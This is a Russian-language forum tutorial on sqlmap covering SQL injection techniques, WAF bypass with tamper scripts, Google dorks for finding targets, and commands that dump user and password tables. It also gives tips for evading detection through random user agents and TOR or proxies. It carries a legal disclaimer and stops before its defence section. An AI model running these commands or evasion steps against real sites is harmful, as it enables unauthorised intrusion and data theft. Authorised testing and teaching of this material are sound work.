Mr.Dark
Активный пользователь
- Регистрация
- 01.06.2025
- Сообщения
- 8 075
- Реакции
- 6 987
- Баллы
- 113

SQLMAP: Полное руководство 2025 по SQL-инъекциям — от основ до обхода WAF
От основ до обхода WAF и защиты. Актуальный гайд на 2025 год.
Sqlmap — это не просто инструмент. Это швейцарский нож пентестера, который превращает рутинный поиск SQL-инъекций в автоматизированный процесс, вплоть до полного захвата сервера. Старые гайды по нему хороши, но мир не стоит на месте: везде стоят WAF, технологии меняются. Поэтому мы собрали здесь всё воедино: классическую базу, современные техники обхода и актуальные советы по защите. Всё в стиле Codeby — по делу и без воды.
Если коротко — sqlmap делает почти всё. Он сам определяет тип уязвимости, подбирает нужный эксплойт и вытаскивает данные. Вот его основной арсенал, актуальный для последних версий:
- Поддержка СУБД: Практически всё, что можно встретить в проде. От классики вроде MySQL, PostgreSQL, Oracle, MSSQL до SQLite, MariaDB, ClickHouse и даже экзотики вроде SAP MaxDB.
- Все 6 техник инъекций: Boolean-blind, Time-blind, Error-based, UNION, Stacked queries, Out-of-band. Инструмент сам определит, какая из них сработает лучше всего.
- Прямое подключение к БД: Если у вас уже есть логин и пароль от базы данных, sqlmap может подключиться напрямую, без всяких инъекций, для дальнейшей работы.
- Перечисление (Enumeration): Может вытащить информацию о пользователях, хэшах паролей, ролях, привилегиях, базах данных, таблицах и колонках.
- Автоматический брутфорс хэшей: Находит хэши паролей и тут же пытается вскрыть их по встроенным словарям.
- Дампинг данных: Позволяет скачать всю таблицу, отдельные столбцы или даже отфильтровать данные по вашему запросу.
- Работа с файловой системой: Может читать и записывать файлы на сервер, если у пользователя БД есть на это права (актуально для MySQL, PostgreSQL, MSSQL).
- Выполнение команд на сервере (--os-shell): При определенных условиях можно получить полноценную командную строку на целевом сервере.
- Создание Out-of-band каналов: Позволяет установить TCP-сессию между жертвой и атакующим, например, для получения шелла через Meterpreter.
- Эскалация привилегий: Интегрируется с Metasploit для повышения привилегий в системе.
Sqlmap не просто бездумно шлет запросы. Он действует последовательно, перебирая техники от самых шумных и быстрых к самым медленным и незаметным.
| Техника | Описание | Скорость |
|---|---|---|
| Error-based | Вызов ошибки SQL и парсинг ее текста для извлечения данных. Работает, если сайт выводит отладочную информацию. | Очень быстро |
| UNION-based | Объединение запроса через UNION ALL SELECT. Данные выводятся прямо на странице. | Быстро |
| Boolean-based blind | Игра «горячо-холодно» через условия AND 1=1 / AND 1=2. По байту восстанавливает данные. | Средне |
| Time-based blind | Добавление задержки (SLEEP(5)). Если ответ с задержкой — условие выполнено. Самый надёжный метод. | Медленно |
| Stacked queries | Выполнение нескольких запросов через точку с запятой ( | Зависит от задачи |
| Out-of-band | База данных сама отправляет данные атакующему (например, через DNS-запрос). Требует специфических настроек. | Медленно |
Сегодня почти любой серьезный проект защищен Web Application Firewall (WAF). Прямые атаки sqlmap он легко отобьет. Но и на этот случай у нас есть решение — tamper-скрипты. Это небольшие скрипты, которые на лету изменяют ваши запросы, чтобы обмануть файрвол. Они умеют: кодировать полезную нагрузку (Base64, HEX), заменять пробелы на комментарии (/**/), менять регистр символов (SeLeCt), вставлять "мусор" и многое другое. Их больше 50 штук!
Код:
sqlmap -u "http://site/?id=1" --tamper=space2comment,randomcase,base64encode --level=5 --risk=3 --random-agent
Советы по обходу WAF:
- Начинайте с простого: space2comment или chardump — классика.
- Комбинируйте: Не бойтесь создавать цепочки из нескольких скриптов.
- Маскируйтесь: Всегда используйте --random-agent, чтобы не палиться по стандартному User-Agent от sqlmap.
- Будьте терпеливы: Подбор рабочего tamper-скрипта — это итеративный процесс. Что-то заблокировали? Пробуйте другой.
- Используйте прокси: Для сокрытия своего IP и обхода блокировок можно завернуть трафик sqlmap через TOR или цепочку прокси с помощью proxychains.
Многие новички копируют команды, не понимая этих ключей. А это критически важно.
| Параметр | Значение | Описание |
|---|---|---|
| --level | 1-5 (по умолч. 1) | Глубина проверки. level=1: GET/POST. level=2: +Cookie. level=3: +User-Agent/Referer. level=5: проверяется всё. |
| --risk | 1-3 (по умолч. 1) | Степень риска. risk=1: безобидные запросы. risk=2: +тяжёлые time-based. risk=3: +запросы, которые могут изменить данные (например, OR в UPDATE). С осторожностью — возможен DoS. |
Запомните раз и навсегда: sqlmap — это инструмент для авторизованного тестирования на проникновение. Его использование на чужих ресурсах без письменного разрешения владельца — это уголовное преступление (в РФ — ст. 272, 273 УК РФ). Последствия могут быть серьезными:
- Уголовная и гражданская ответственность.
- Блокировка вашего IP-адреса навсегда.
- Проблемы с участием в программах Bug Bounty и карьерой в ИБ.
Шаг 1: Поиск цели (для учебных целей!)
Классические Google Dorks всё ещё работают, но в основном на старых сайтах или в рамках CTF:
inurl:.php?id= inurl:product.php?item_id= inurl:article.php?cat_id=Шаг 2: Быстрая ручная проверка
Простейший тест — добавить кавычку (') в конец параметра URL:
http://test-site.com/product.php?id=123' Если в ответ прилетела ошибка SQL — это хороший знак. Если нет — это еще ничего не значит! Уязвимость может быть слепой, и тут-то нам и нужен sqlmap.Шаг 3: Эксплуатация с помощью sqlmap
- Простая проверка и получение списка БД:
sqlmap -u "http://test-site.com/product.php?id=123" --dbs - Получение таблиц из конкретной БД:
sqlmap -u "..." -D target_db --tables - Получение столбцов из таблицы:
sqlmap -u "..." -D target_db -T users --columns - Дампинг данных из столбцов:
sqlmap -u "..." -D target_db -T users -C username,password --dump
В 99% случаев интересные уязвимости находятся за формой входа. Чтобы sqlmap работал в авторизованной зоне, ему нужно передать вашу сессионную cookie.
- Залогиньтесь на сайте через браузер.
- Откройте инструменты разработчика (F12) -> Application/Storage -> Cookies.
- Скопируйте значение вашей сессионной cookie (например,
PHPSESSID=a1b2c3d4e5f6). - Добавьте ее в команду:
sqlmap -u "http://site.com/profile.php?id=1" --cookie="PHPSESSID=a1b2c3d4e5f6" --dbs
Также можно сохранить полный запрос (с куками, user-agent и т.д.) в файл
request.txt и скормить его sqlmap: sqlmap -r request.txt.Да, sqlmap умеет и это. Если приложение общается через JSON, укажите место для инъекции звездочкой
*:
Код:
sqlmap -u "http://api.site.com/v1/user" --method=POST --data='{"id": 1, "role": "user"}' --headers="Content-Type: application/json" -p "id"
Атаковать весело, но важно уметь и строить крепости. Вот главные правила защиты от SQL-инъекций:

